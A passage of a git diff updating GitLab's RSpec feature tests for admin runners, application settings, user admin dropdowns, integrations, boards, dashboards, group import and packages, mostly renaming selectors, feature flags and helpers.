- within "[data-testid='runner-row-#{runner.id}']" do
- expect(page).to have_selector '.badge', text: 'shared'
- expect(page).to have_text 'n/a'
- end
- end
- end
-
- context 'specific runner' do
- it 'shows the label and the project count' do
- project = create(:project)
- runner = create(:ci_runner, :project, projects: [project])
-
- visit admin_runners_path
-
- within "[data-testid='runner-row-#{runner.id}']" do
- expect(page).to have_selector '.badge', text: 'specific'
- expect(page).to have_text '1'
- end
- end
- end
-
describe 'runners registration token' do
let!(:token) { Gitlab::CurrentSettings.runners_registration_token }
@@ -286,17 +281,23 @@ RSpec.describe "Admin Runners" do
end
it 'has a registration token' do
- expect(page.find('[data-testid="registration_token"]')).to have_content(token)
+ click_on 'Click to reveal'
+ expect(page.find('[data-testid="registration-token"]')).to have_content(token)
end
describe 'reset registration token' do
- let(:page_token) { find('[data-testid="registration_token"]').text }
+ let(:page_token) { find('[data-testid="registration-token"]').text }
before do
click_button 'Reset registration token'
+
+ page.accept_alert
+
+ wait_for_requests
end
it 'changes registration token' do
+ click_on 'Click to reveal'
expect(page_token).not_to eq token
end
end
@@ -409,4 +410,43 @@ RSpec.describe "Admin Runners" do
end
end
end
+
+ private
+
+ def search_bar_selector
+ '[data-testid="runners-filtered-search"]'
+ end
+
+ # The filters must be clicked first to be able to receive events
+ # See: https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1493
+ def focus_filtered_search
+ page.within(search_bar_selector) do
+ page.find('.gl-filtered-search-term-token').click
+ end
+ end
+
+ def input_filtered_search_keys(search_term)
+ focus_filtered_search
+
+ page.within(search_bar_selector) do
+ page.find('input').send_keys(search_term)
+ click_on 'Search'
+ end
+ end
+
+ def input_filtered_search_filter_is_only(filter, value)
+ focus_filtered_search
+
+ page.within(search_bar_selector) do
+ click_on filter
+
+ # For OPERATOR_IS_ONLY, clicking the filter
+ # immediately preselects "=" operator
+
+ page.find('input').send_keys(value)
+ page.find('input').send_keys(:enter)
+
+ click_on 'Search'
+ end
+ end
end
diff --git a/spec/features/admin/admin_sees_background_migrations_spec.rb b/spec/features/admin/admin_sees_background_migrations_spec.rb
index d848a8352bc..11823195310 100644
--- a/spec/features/admin/admin_sees_background_migrations_spec.rb
+++ b/spec/features/admin/admin_sees_background_migrations_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe "Admin > Admin sees background migrations" do
end
end
- it 'can view queued migrations' do
+ it 'can view queued migrations and pause and resume them' do
visit admin_background_migrations_path
within '#content-body' do
@@ -40,7 +40,16 @@ RSpec.describe "Admin > Admin sees background migrations" do
expect(page).to have_content(active_migration.job_class_name)
expect(page).to have_content(active_migration.table_name)
expect(page).to have_content('0.00%')
- expect(page).to have_content(active_migration.status.humanize)
+ expect(page).not_to have_content('Paused')
+ expect(page).to have_content('Active')
+
+ click_button('Pause')
+ expect(page).not_to have_content('Active')
+ expect(page).to have_content('Paused')
+
+ click_button('Resume')
+ expect(page).not_to have_content('Paused')
+ expect(page).to have_content('Active')
end
end
diff --git a/spec/features/admin/admin_settings_spec.rb b/spec/features/admin/admin_settings_spec.rb
index c289c18126d..9efb31ef4c1 100644
--- a/spec/features/admin/admin_settings_spec.rb
+++ b/spec/features/admin/admin_settings_spec.rb
@@ -269,77 +269,43 @@ RSpec.describe 'Admin updates settings' do
end
context 'Integrations page' do
+ let(:mailgun_events_receiver_enabled) { true }
+
before do
+ stub_feature_flags(mailgun_events_receiver: mailgun_events_receiver_enabled)
visit general_admin_application_settings_path
end
it 'enable hiding third party offers' do
page.within('.as-third-party-offers') do
- check 'Do not display offers from third parties within GitLab'
+ check 'Do not display offers from third parties'
click_button 'Save changes'
end
expect(page).to have_content "Application settings saved successfully"
expect(current_settings.hide_third_party_offers).to be true
end
- end
-
- context 'when Service Templates are enabled' do
- before do
- stub_feature_flags(disable_service_templates: false)
- visit general_admin_application_settings_path
- end
-
- it 'shows Service Templates link' do
- expect(page).to have_link('Service Templates')
- end
-
- context 'when the Slack Notifications Service template is active' do
- before do
- create(:service, :template, type: 'SlackService', active: true)
-
- visit general_admin_application_settings_path
- end
- it 'change Slack Notifications Service template settings', :js do
- first(:link, 'Service Templates').click
- click_link 'Slack notifications'
- fill_in 'Webhook', with: 'http://localhost'
- fill_in 'Username', with: 'test_user'
- fill_in 'service[push_channel]', with: '#test_channel'
- page.check('Notify only broken pipelines')
- page.select 'All branches', from: 'Branches to be notified'
- page.select 'Match any of the labels', from: 'Labels to be notified behavior'
-
- check_all_events
- click_button 'Save changes'
+ context 'when mailgun_events_receiver feature flag is enabled' do
+ it 'enabling Mailgun events', :aggregate_failures do
+ page.within('.as-mailgun') do
+ check 'Enable Mailgun event receiver'
+ fill_in 'Mailgun HTTP webhook signing key', with: 'MAILGUN_SIGNING_KEY'
+ click_button 'Save changes'
+ end
expect(page).to have_content 'Application settings saved successfully'
-
- click_link 'Slack notifications'
-
- expect(page.all('input[type=checkbox]')).to all(be_checked)
- expect(find_field('Webhook').value).to eq 'http://localhost'
- expect(find_field('Username').value).to eq 'test_user'
- expect(find('[name="service[push_channel]"]').value).to eq '#test_channel'
- end
-
- it 'defaults Deployment events to false for chat notification template settings', :js do
- first(:link, 'Service Templates').click
- click_link 'Slack notifications'
-
- expect(find_field('Deployment')).not_to be_checked
+ expect(current_settings.mailgun_events_enabled).to be true
+ expect(current_settings.mailgun_signing_key).to eq 'MAILGUN_SIGNING_KEY'
end
end
- end
- context 'When Service templates are disabled' do
- before do
- stub_feature_flags(disable_service_templates: true)
- end
+ context 'when mailgun_events_receiver feature flag is disabled' do
+ let(:mailgun_events_receiver_enabled) { false }
- it 'does not show Service Templates link' do
- expect(page).not_to have_link('Service Templates')
+ it 'does not have mailgun' do
+ expect(page).not_to have_selector('.as-mailgun')
+ end
end
end
@@ -370,6 +336,43 @@ RSpec.describe 'Admin updates settings' do
expect(page).to have_content "Application settings saved successfully"
end
+ context 'Runner Registration' do
+ context 'when feature is enabled' do
+ before do
+ stub_feature_flags(runner_registration_control: true)
+ end
+
+ it 'allows admins to control who has access to register runners' do
+ visit ci_cd_admin_application_settings_path
+
+ expect(current_settings.valid_runner_registrars).to eq(ApplicationSetting::VALID_RUNNER_REGISTRAR_TYPES)
+
+ page.within('.as-runner') do
+ find_all('.form-check-input').each(&:click)
+
+ click_button 'Save changes'
+ end
+
+ expect(current_settings.valid_runner_registrars).to eq([])
+ expect(page).to have_content "Application settings saved successfully"
+ end
+ end
+
+ context 'when feature is disabled' do
+ before do
+ stub_feature_flags(runner_registration_control: false)
+ end
+
+ it 'does not allow admins to control who has access to register runners' do
+ visit ci_cd_admin_application_settings_path
+
+ expect(current_settings.valid_runner_registrars).to eq(ApplicationSetting::VALID_RUNNER_REGISTRAR_TYPES)
+
+ expect(page).not_to have_css('.as-runner')
+ end
+ end
+ end
+
context 'Container Registry' do
let(:feature_flag_enabled) { true }
let(:client_support) { true }
@@ -530,7 +533,7 @@ RSpec.describe 'Admin updates settings' do
wait_for_requests
- expect(page).to have_selector '.js-usage-ping-payload'
+ expect(page).to have_selector '.js-service-ping-payload'
expect(page).to have_button 'Hide payload'
expect(page).to have_content expected_payload_content
end
@@ -581,8 +584,8 @@ RSpec.describe 'Admin updates settings' do
new_documentation_url = 'https://docs.gitlab.com'
page.within('.as-help-page') do
- fill_in 'Help page text', with: 'Example text'
- check 'Hide marketing-related entries from help'
+ fill_in 'Additional text to show on the Help page', with: 'Example text'
+ check 'Hide marketing-related entries from the Help page.'
fill_in 'Support page URL', with: new_support_url
fill_in 'Documentation pages URL', with: new_documentation_url
click_button 'Save changes'
diff --git a/spec/features/admin/admin_users_impersonation_tokens_spec.rb b/spec/features/admin/admin_users_impersonation_tokens_spec.rb
index dc528dd92d4..ee64e71f176 100644
--- a/spec/features/admin/admin_users_impersonation_tokens_spec.rb
+++ b/spec/features/admin/admin_users_impersonation_tokens_spec.rb
@@ -28,10 +28,10 @@ RSpec.describe 'Admin > Users > Impersonation Tokens', :js do
name = 'Hello World'
visit admin_user_impersonation_tokens_path(user_id: user.username)
- fill_in "Name", with: name
+ fill_in "Token name", with: name
# Set date to 1st of next month
- find_field("Expires at").click
+ find_field("Expiration date").click
find(".pika-next").click
click_on "1"
diff --git a/spec/features/admin/services/admin_visits_service_templates_spec.rb b/spec/features/admin/services/admin_visits_service_templates_spec.rb
index 9d011b97f63..d367867ebb5 100644
--- a/spec/features/admin/services/admin_visits_service_templates_spec.rb
+++ b/spec/features/admin/services/admin_visits_service_templates_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe 'Admin visits service templates' do
let(:admin) { create(:user, :admin) }
- let(:slack_service) { Integration.for_template.find { |s| s.type == 'SlackService' } }
+ let(:slack_integration) { Integration.for_template.find { |s| s.type == 'SlackService' } }
before do
sign_in(admin)
@@ -23,7 +23,7 @@ RSpec.describe 'Admin visits service templates' do
context 'with an active service template' do
before do
- create(:slack_service, :template, active: true)
+ create(:integrations_slack, :template, active: true)
visit(admin_application_settings_services_path)
end
@@ -33,20 +33,20 @@ RSpec.describe 'Admin visits service templates' do
context 'without instance-level integration' do
it 'shows a link to service template' do
- expect(page).to have_link('Slack', href: edit_admin_application_settings_service_path(slack_service.id))
- expect(page).not_to have_link('Slack', href: edit_admin_application_settings_integration_path(slack_service))
+ expect(page).to have_link('Slack', href: edit_admin_application_settings_service_path(slack_integration.id))
+ expect(page).not_to have_link('Slack', href: edit_admin_application_settings_integration_path(slack_integration))
end
end
context 'with instance-level integration' do
before do
- create(:slack_service, instance: true, project: nil)
+ create(:integrations_slack, instance: true, project: nil)
visit(admin_application_settings_services_path)
end
it 'shows a link to instance-level integration' do
- expect(page).not_to have_link('Slack', href: edit_admin_application_settings_service_path(slack_service.id))
- expect(page).to have_link('Slack', href: edit_admin_application_settings_integration_path(slack_service))
+ expect(page).not_to have_link('Slack', href: edit_admin_application_settings_service_path(slack_integration.id))
+ expect(page).to have_link('Slack', href: edit_admin_application_settings_integration_path(slack_integration))
end
end
end
diff --git a/spec/features/admin/users/user_spec.rb b/spec/features/admin/users/user_spec.rb
index 3599658ee56..e6eb76b13eb 100644
--- a/spec/features/admin/users/user_spec.rb
+++ b/spec/features/admin/users/user_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Admin::Users::User' do
+ include Spec::Support::Helpers::Features::AdminUsersHelpers
+
let_it_be(:user) { create(:omniauth_user, provider: 'twitter', extern_uid: '123456') }
let_it_be(:current_user) { create(:admin) }
@@ -12,15 +14,18 @@ RSpec.describe 'Admin::Users::User' do
end
describe 'GET /admin/users/:id' do
- it 'has user info', :aggregate_failures do
+ it 'has user info', :js, :aggregate_failures do
visit admin_user_path(user)
expect(page).to have_content(user.email)
expect(page).to have_content(user.name)
expect(page).to have_content("ID: #{user.id}")
expect(page).to have_content("Namespace ID: #{user.namespace_id}")
- expect(page).to have_button('Deactivate user')
- expect(page).to have_button('Block user')
+
+ click_user_dropdown_toggle(user.id)
+
+ expect(page).to have_button('Block')
+ expect(page).to have_button('Deactivate')
expect(page).to have_button('Delete user')
expect(page).to have_button('Delete user and contributions')
end
@@ -29,9 +34,7 @@ RSpec.describe 'Admin::Users::User' do
it 'shows confirmation and allows blocking and unblocking', :js do
visit admin_user_path(user)
- find('button', text: 'Block user').click
-
- wait_for_requests
+ click_action_in_user_dropdown(user.id, 'Block')
expect(page).to have_content('Block user')
expect(page).to have_content('You can always unblock their account, their data will remain intact.')
@@ -41,21 +44,18 @@ RSpec.describe 'Admin::Users::User' do
wait_for_requests
expect(page).to have_content('Successfully blocked')
- expect(page).to have_content('This user is blocked')
-
- find('button', text: 'Unblock user').click
- wait_for_requests
+ click_action_in_user_dropdown(user.id, 'Unblock')
expect(page).to have_content('Unblock user')
expect(page).to have_content('You can always block their account again if needed.')
find('.modal-footer button', text: 'Unblock').click
- wait_for_requests
-
expect(page).to have_content('Successfully unblocked')
- expect(page).to have_content('Block this user')
+
+ click_user_dropdown_toggle(user.id)
+ expect(page).to have_content('Block')
end
end
@@ -63,9 +63,7 @@ RSpec.describe 'Admin::Users::User' do
it 'shows confirmation and allows deactivating/re-activating', :js do
visit admin_user_path(user)
- find('button', text: 'Deactivate user').click
-
- wait_for_requests
+ click_action_in_user_dropdown(user.id, 'Deactivate')
expect(page).to have_content('Deactivate user')
expect(page).to have_content('You can always re-activate their account, their data will remain intact.')
@@ -75,11 +73,8 @@ RSpec.describe 'Admin::Users::User' do
wait_for_requests
expect(page).to have_content('Successfully deactivated')
- expect(page).to have_content('Reactivate this user')
-
- find('button', text: 'Activate user').click
- wait_for_requests
+ click_action_in_user_dropdown(user.id, 'Activate')
expect(page).to have_content('Activate user')
expect(page).to have_content('You can always deactivate their account again if needed.')
@@ -89,7 +84,9 @@ RSpec.describe 'Admin::Users::User' do
wait_for_requests
expect(page).to have_content('Successfully activated')
- expect(page).to have_content('Deactivate this user')
+
+ click_user_dropdown_toggle(user.id)
+ expect(page).to have_content('Deactivate')
end
end
@@ -367,8 +364,43 @@ RSpec.describe 'Admin::Users::User' do
expect(page).to have_content(user.name)
expect(page).to have_content('Pending approval')
- expect(page).to have_link('Approve user')
- expect(page).to have_link('Reject request')
+
+ click_user_dropdown_toggle(user.id)
+
+ expect(page).to have_button('Approve')
+ expect(page).to have_button('Reject')
+ end
+ end
+ end
+
+ context 'when user has an unconfirmed email', :js do
+ let(:unconfirmed_user) { create(:user, :unconfirmed) }
+
+ where(:path_helper) do
+ [
+ [-> (user) { admin_user_path(user) }],
+ [-> (user) { projects_admin_user_path(user) }],
+ [-> (user) { keys_admin_user_path(user) }],
+ [-> (user) { admin_user_identities_path(user) }],
+ [-> (user) { admin_user_impersonation_tokens_path(user) }]
+ ]
+ end
+
+ with_them do
+ it "allows an admin to force confirmation of the user's email", :aggregate_failures do
+ visit path_helper.call(unconfirmed_user)
+
+ click_button 'Confirm user'
+
+ page.within('[role="dialog"]') do
+ expect(page).to have_content("Confirm user #{unconfirmed_user.name}?")
+ expect(page).to have_content('This user has an unconfirmed email address. You may force a confirmation.')
+
+ click_button 'Confirm user'
+ end
+
+ expect(page).to have_content('Successfully confirmed')
+ expect(page).not_to have_button('Confirm user')
end
end
end
diff --git a/spec/features/admin/users/users_spec.rb b/spec/features/admin/users/users_spec.rb
index 187fa6fc2a4..119b01ff552 100644
--- a/spec/features/admin/users/users_spec.rb
+++ b/spec/features/admin/users/users_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Admin::Users' do
+ include Spec::Support::Helpers::Features::AdminUsersHelpers
+
let_it_be(:user, reload: true) { create(:omniauth_user, provider: 'twitter', extern_uid: '123456') }
let_it_be(:current_user) { create(:admin) }
@@ -572,12 +574,6 @@ RSpec.describe 'Admin::Users' do
end
end
- def click_user_dropdown_toggle(user_id)
- page.within("[data-testid='user-actions-#{user_id}']") do
- find("[data-testid='dropdown-toggle']").click
- end
- end
-
def first_row
page.all('[role="row"]')[1]
end
@@ -592,14 +588,4 @@ RSpec.describe 'Admin::Users' do
click_link option
end
end
-
- def click_action_in_user_dropdown(user_id, action)
- click_user_dropdown_toggle(user_id)
-
- within find("[data-testid='user-actions-#{user_id}']") do
- find('li button', text: action).click
- end
-
- wait_for_requests
- end
end
diff --git a/spec/features/alert_management/alert_management_list_spec.rb b/spec/features/alert_management/alert_management_list_spec.rb
index aeaadacb38d..1e710169c9c 100644
--- a/spec/features/alert_management/alert_management_list_spec.rb
+++ b/spec/features/alert_management/alert_management_list_spec.rb
@@ -50,7 +50,7 @@ RSpec.describe 'Alert Management index', :js do
end
context 'when the prometheus integration is enabled' do
- let_it_be(:integration) { create(:prometheus_service, project: project) }
+ let_it_be(:integration) { create(:prometheus_integration, project: project) }
it_behaves_like 'alert page with title, filtered search, and table'
end
diff --git a/spec/features/boards/boards_spec.rb b/spec/features/boards/boards_spec.rb
index 02bb7574fb0..4b52bb953ed 100644
--- a/spec/features/boards/boards_spec.rb
+++ b/spec/features/boards/boards_spec.rb
@@ -244,8 +244,7 @@ RSpec.describe 'Project issue boards', :js do
expect(page).to have_selector(selector, text: development.title, count: 1)
end
- # TODO https://gitlab.com/gitlab-org/gitlab/-/issues/323551
- xit 'issue moves between lists and does not show the "Development" label since the card is in the "Development" list label' do
+ it 'issue moves between lists and does not show the "Development" label since the card is in the "Development" list label' do
drag(list_from_index: 1, from_index: 1, list_to_index: 2)
wait_for_board_cards(2, 7)
diff --git a/spec/features/boards/sidebar_spec.rb b/spec/features/boards/sidebar_spec.rb
index 977147c3c6b..0bb8e0bcdc0 100644
--- a/spec/features/boards/sidebar_spec.rb
+++ b/spec/features/boards/sidebar_spec.rb
@@ -31,4 +31,12 @@ RSpec.describe 'Project issue boards sidebar', :js do
def click_first_issue_card
click_card(first_card)
end
+
+ def refresh_and_click_first_card
+ page.refresh
+
+ wait_for_requests
+
+ first_card.click
+ end
end
diff --git a/spec/features/calendar_spec.rb b/spec/features/calendar_spec.rb
index 21da92c9f43..a8aa3f0b36a 100644
--- a/spec/features/calendar_spec.rb
+++ b/spec/features/calendar_spec.rb
@@ -145,7 +145,7 @@ RSpec.describe 'Contributions Calendar', :js do
describe '1 issue creation calendar activity' do
before do
- Issues::CreateService.new(project: contributed_project, current_user: user, params: issue_params).execute
+ Issues::CreateService.new(project: contributed_project, current_user: user, params: issue_params, spam_params: nil).execute
end
it_behaves_like 'a day with activity', contribution_count: 1
@@ -180,7 +180,7 @@ RSpec.describe 'Contributions Calendar', :js do
push_code_contribution
travel_to(Date.yesterday) do
- Issues::CreateService.new(project: contributed_project, current_user: user, params: issue_params).execute
+ Issues::CreateService.new(project: contributed_project, current_user: user, params: issue_params, spam_params: nil).execute
end
end
include_context 'visit user page'
diff --git a/spec/features/cycle_analytics_spec.rb b/spec/features/cycle_analytics_spec.rb
index 8c7564535b5..d0f8767884e 100644
--- a/spec/features/cycle_analytics_spec.rb
+++ b/spec/features/cycle_analytics_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Value Stream Analytics', :js do
let_it_be(:user) { create(:user) }
let_it_be(:guest) { create(:user) }
let_it_be(:project) { create(:project, :repository) }
+
let(:issue) { create(:issue, project: project, created_at: 2.days.ago) }
let(:milestone) { create(:milestone, project: project) }
let(:mr) { create_merge_request_closing_issue(user, project, issue, commit_message: "References #{issue.to_reference}") }
diff --git a/spec/features/dashboard/datetime_on_tooltips_spec.rb b/spec/features/dashboard/datetime_on_tooltips_spec.rb
index 442b8904974..bf9f6895d24 100644
--- a/spec/features/dashboard/datetime_on_tooltips_spec.rb
+++ b/spec/features/dashboard/datetime_on_tooltips_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe 'Tooltips on .timeago dates', :js do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, name: 'test', namespace: user.namespace) }
+
let(:created_date) { 1.day.ago.beginning_of_minute - 1.hour }
before_all do
diff --git a/spec/features/dashboard/issues_filter_spec.rb b/spec/features/dashboard/issues_filter_spec.rb
index 4bd00bd0a80..4d59e1ded3d 100644
--- a/spec/features/dashboard/issues_filter_spec.rb
+++ b/spec/features/dashboard/issues_filter_spec.rb
@@ -81,14 +81,14 @@ RSpec.describe 'Dashboard Issues filtering', :js do
sort_by('Created date')
visit_issues(assignee_username: user.username)
- expect(find('.issues-filters')).to have_content('Created date')
+ expect(page).to have_button('Created date')
end
it 'keeps sorting issues after visiting Projects Issues page' do
sort_by('Created date')
visit project_issues_path(project)
- expect(find('.issues-filters')).to have_content('Created date')
+ expect(page).to have_button('Created date')
end
end
diff --git a/spec/features/dashboard/merge_requests_spec.rb b/spec/features/dashboard/merge_requests_spec.rb
index 26b376be660..aa2485d4236 100644
--- a/spec/features/dashboard/merge_requests_spec.rb
+++ b/spec/features/dashboard/merge_requests_spec.rb
@@ -53,6 +53,7 @@ RSpec.describe 'Dashboard Merge Requests' do
context 'merge requests exist' do
let_it_be(:author_user) { create(:user) }
+
let(:label) { create(:label) }
let!(:assigned_merge_request) do
@@ -181,6 +182,7 @@ RSpec.describe 'Dashboard Merge Requests' do
context 'merge request review', :js do
let_it_be(:author_user) { create(:user) }
+
let!(:review_requested_merge_request) do
create(:merge_request,
reviewers: [current_user],
diff --git a/spec/features/dashboard/projects_spec.rb b/spec/features/dashboard/projects_spec.rb
index 20c753b1cdb..1f0981de7e1 100644
--- a/spec/features/dashboard/projects_spec.rb
+++ b/spec/features/dashboard/projects_spec.rb
@@ -18,12 +18,6 @@ RSpec.describe 'Dashboard Projects' do
end
end
- it 'shows the customize banner', :js do
- visit dashboard_projects_path
-
- expect(page).to have_content('Do you want to customize this page?')
- end
-
context 'when user has access to the project' do
it 'shows role badge' do
visit dashboard_projects_path
diff --git a/spec/features/dashboard/root_spec.rb b/spec/features/dashboard/root_spec.rb
new file mode 100644
index 00000000000..55bb43c6fcf
--- /dev/null
+++ b/spec/features/dashboard/root_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Root path' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+
+ before do
+ project.add_developer(user)
+ sign_in(user)
+ end
+
+ it 'shows the customize banner', :js do
+ visit root_path
+
+ expect(page).to have_content('Do you want to customize this page?')
+ end
+end
diff --git a/spec/features/file_uploads/group_import_spec.rb b/spec/features/file_uploads/group_import_spec.rb
index 0f9d05c3975..a8592f99bd6 100644
--- a/spec/features/file_uploads/group_import_spec.rb
+++ b/spec/features/file_uploads/group_import_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Upload a group export archive', :api, :js do
let_it_be(:user) { create(:user, :admin) }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+
let(:api_path) { '/groups/import' }
let(:url) { capybara_url(api(api_path, personal_access_token: personal_access_token)) }
let(:file) { fixture_file_upload('spec/fixtures/group_export.tar.gz') }
diff --git a/spec/features/file_uploads/project_import_spec.rb b/spec/features/file_uploads/project_import_spec.rb
index 1bf16f46c63..82b6f490d2a 100644
--- a/spec/features/file_uploads/project_import_spec.rb
+++ b/spec/features/file_uploads/project_import_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Upload a project export archive', :api, :js do
let_it_be(:user) { create(:user, :admin) }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+
let(:api_path) { '/projects/import' }
let(:url) { capybara_url(api(api_path, personal_access_token: personal_access_token)) }
let(:file) { fixture_file_upload('spec/features/projects/import_export/test_project_export.tar.gz') }
diff --git a/spec/features/file_uploads/user_avatar_spec.rb b/spec/features/file_uploads/user_avatar_spec.rb
index 043115be61a..c30e3452201 100644
--- a/spec/features/file_uploads/user_avatar_spec.rb
+++ b/spec/features/file_uploads/user_avatar_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'Upload a user avatar', :js do
let_it_be(:user, reload: true) { create(:user) }
+
let(:file) { fixture_file_upload('spec/fixtures/banana_sample.gif') }
before do
diff --git a/spec/features/groups/import_export/connect_instance_spec.rb b/spec/features/groups/import_export/connect_instance_spec.rb
index 563c8f429f8..cf893e444c4 100644
--- a/spec/features/groups/import_export/connect_instance_spec.rb
+++ b/spec/features/groups/import_export/connect_instance_spec.rb
@@ -24,6 +24,7 @@ RSpec.describe 'Import/Export - Connect to another instance', :js do
pat = 'demo-pat'
stub_path = 'stub-group'
total = 37
+
stub_request(:get, "%{url}/api/v4/groups?page=1&per_page=20&top_level_only=true&min_access_level=50&search=" % { url: source_url }).to_return(
body: [{
id: 2595438,
@@ -32,7 +33,7 @@ RSpec.describe 'Import/Export - Connect to another instance', :js do
path: stub_path,
full_name: 'Stub',
full_path: stub_path
- }].to_json,
+ }].to_json,
headers: {
'Content-Type' => 'application/json',
'X-Next-Page' => 2,
@@ -43,6 +44,10 @@ RSpec.describe 'Import/Export - Connect to another instance', :js do
}
)
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |client|
+ allow(client).to receive(:validate_instance_version!).and_return(true)
+ end
+
expect(page).to have_content 'Import groups from another instance of GitLab'
expect(page).to have_content 'Not all related objects are migrated'
@@ -53,6 +58,10 @@ RSpec.describe 'Import/Export - Connect to another instance', :js do
expect(page).to have_content 'Showing 1-1 of %{total} groups from %{url}' % { url: source_url, total: total }
expect(page).to have_content stub_path
+
+ visit '/'
+
+ wait_for_all_requests
end
end
diff --git a/spec/features/groups/import_export/import_file_spec.rb b/spec/features/groups/import_export/import_file_spec.rb
index 08295a3392a..76d17c4409d 100644
--- a/spec/features/groups/import_export/import_file_spec.rb
+++ b/spec/features/groups/import_export/import_file_spec.rb
@@ -77,7 +77,7 @@ RSpec.describe 'Import/Export - Group Import', :js do
click_link 'Import group'
fill_in :import_group_path, with: 'test-group-import'
- expect(page).to have_content 'Group path is already taken. Suggestions: test-group-import1'
+ expect(page).to have_content "Group path is already taken. We've suggested one that is available."
end
end
end
diff --git a/spec/features/groups/members/manage_members_spec.rb b/spec/features/groups/members/manage_members_spec.rb
index ee18298e894..1d57d0a9103 100644
--- a/spec/features/groups/members/manage_members_spec.rb
+++ b/spec/features/groups/members/manage_members_spec.rb
@@ -93,13 +93,13 @@ RSpec.describe 'Groups > Members > Manage members' do
visit group_group_members_path(group)
click_on 'Invite members'
- fill_in 'Select members or type email addresses', with: '@gitlab.com'
+ find('[data-testid="members-token-select-input"]').set('@gitlab.com')
wait_for_requests
expect(page).to have_content('No matches found')
- fill_in 'Select members or type email addresses', with: 'undisclosed_email@gitlab.com'
+ find('[data-testid="members-token-select-input"]').set('undisclosed_email@gitlab.com')
wait_for_requests
expect(page).to have_content("Jane 'invisible' Doe")
diff --git a/spec/features/groups/merge_requests_spec.rb b/spec/features/groups/merge_requests_spec.rb
index f79c93157dc..077f680629f 100644
--- a/spec/features/groups/merge_requests_spec.rb
+++ b/spec/features/groups/merge_requests_spec.rb
@@ -75,4 +75,29 @@ RSpec.describe 'Group merge requests page' do
end
end
end
+
+ context 'empty state with no merge requests' do
+ before do
+ MergeRequest.delete_all
+ end
+
+ it 'shows an empty state, button to create merge request and no filters bar', :aggregate_failures, :js do
+ visit path
+
+ expect(page).to have_selector('.empty-state')
+ expect(page).to have_link('Select project to create merge request')
+ expect(page).not_to have_selector('.issues-filters')
+ end
+
+ context 'with no open merge requests' do
+ it 'shows an empty state, button to create merge request and filters bar', :aggregate_failures, :js do
+ create(:merge_request, :closed, source_project: project, target_project: project)
+ visit path
+
+ expect(page).to have_selector('.empty-state')
+ expect(page).to have_link('Select project to create merge request')
+ expect(page).to have_selector('.issues-filters')
+ end
+ end
+ end
end
diff --git a/spec/features/groups/navbar_spec.rb b/spec/features/groups/navbar_spec.rb
index 70a19445c89..0a159056569 100644
--- a/spec/features/groups/navbar_spec.rb
+++ b/spec/features/groups/navbar_spec.rb
@@ -11,40 +11,6 @@ RSpec.describe 'Group navbar' do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
- let(:structure) do
- [
- group_context_nav_item,
- group_information_nav_item,
- {
- nav_item: _('Issues'),
- nav_sub_items: issues_nav_items
- },
- {
- nav_item: _('Merge requests'),
- nav_sub_items: []
- },
- (security_and_compliance_nav_item if Gitlab.ee?),
- (push_rules_nav_item if Gitlab.ee?),
- {
- nav_item: _('Kubernetes'),
- nav_sub_items: []
- },
- (analytics_nav_item if Gitlab.ee?),
- members_nav_item
- ].compact
- end
-
- let(:members_nav_item) do
- nil
- end
-
- let(:group_context_nav_item) do
- {
- nav_item: "#{group.name[0, 1].upcase} #{group.name}",
- nav_sub_items: []
- }
- end
-
before do
insert_package_nav(_('Kubernetes'))
@@ -85,44 +51,4 @@ RSpec.describe 'Group navbar' do
it_behaves_like 'verified navigation bar'
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- let(:group_context_nav_item) do
- nil
- end
-
- let(:group_information_nav_item) do
- {
- nav_item: _('Group overview'),
- nav_sub_items: [
- _('Details'),
- _('Activity')
- ]
- }
- end
-
- let(:members_nav_item) do
- {
- nav_item: _('Members'),
- nav_sub_items: []
- }
- end
-
- let(:issues_nav_items) do
- [
- _('List'),
- _('Board'),
- _('Labels'),
- _('Milestones')
- ]
- end
-
- before do
- stub_feature_flags(sidebar_refactor: false)
-
- visit group_path(group)
- end
-
- it_behaves_like 'verified navigation bar'
- end
end
diff --git a/spec/features/groups/packages_spec.rb b/spec/features/groups/packages_spec.rb
index 60e0c08b3d4..752303fdd78 100644
--- a/spec/features/groups/packages_spec.rb
+++ b/spec/features/groups/packages_spec.rb
@@ -38,18 +38,22 @@ RSpec.describe 'Group Packages' do
context 'when there are packages' do
let_it_be(:second_project) { create(:project, name: 'second-project', group: group) }
- let_it_be(:conan_package) { create(:conan_package, project: project, name: 'zzz', created_at: 1.day.ago, version: '1.0.0') }
+ let_it_be(:npm_package) { create(:npm_package, project: project, name: 'zzz', created_at: 1.day.ago, version: '1.0.0') }
let_it_be(:maven_package) { create(:maven_package, project: second_project, name: 'aaa', created_at: 2.days.ago, version: '2.0.0') }
- let_it_be(:packages) { [conan_package, maven_package] }
+ let_it_be(:packages) { [npm_package, maven_package] }
it_behaves_like 'packages list', check_project_name: true
- it_behaves_like 'package details link'
+ context 'when package_details_apollo feature flag is off' do
+ before do
+ stub_feature_flags(package_details_apollo: false)
+ end
+
+ it_behaves_like 'package details link'
+ end
it 'allows you to navigate to the project page' do
- page.within('[data-qa-selector="packages-table"]') do
- find('[data-qa-selector="package-path"]', text: project.name).click
- end
+ find('[data-testid="root-link"]', text: project.name).click
expect(page).to have_current_path(project_path(project))
expect(page).to have_content(project.name)
@@ -58,15 +62,15 @@ RSpec.describe 'Group Packages' do
context 'sorting' do
it_behaves_like 'shared package sorting' do
let_it_be(:package_one) { maven_package }
- let_it_be(:package_two) { conan_package }
+ let_it_be(:package_two) { npm_package }
end
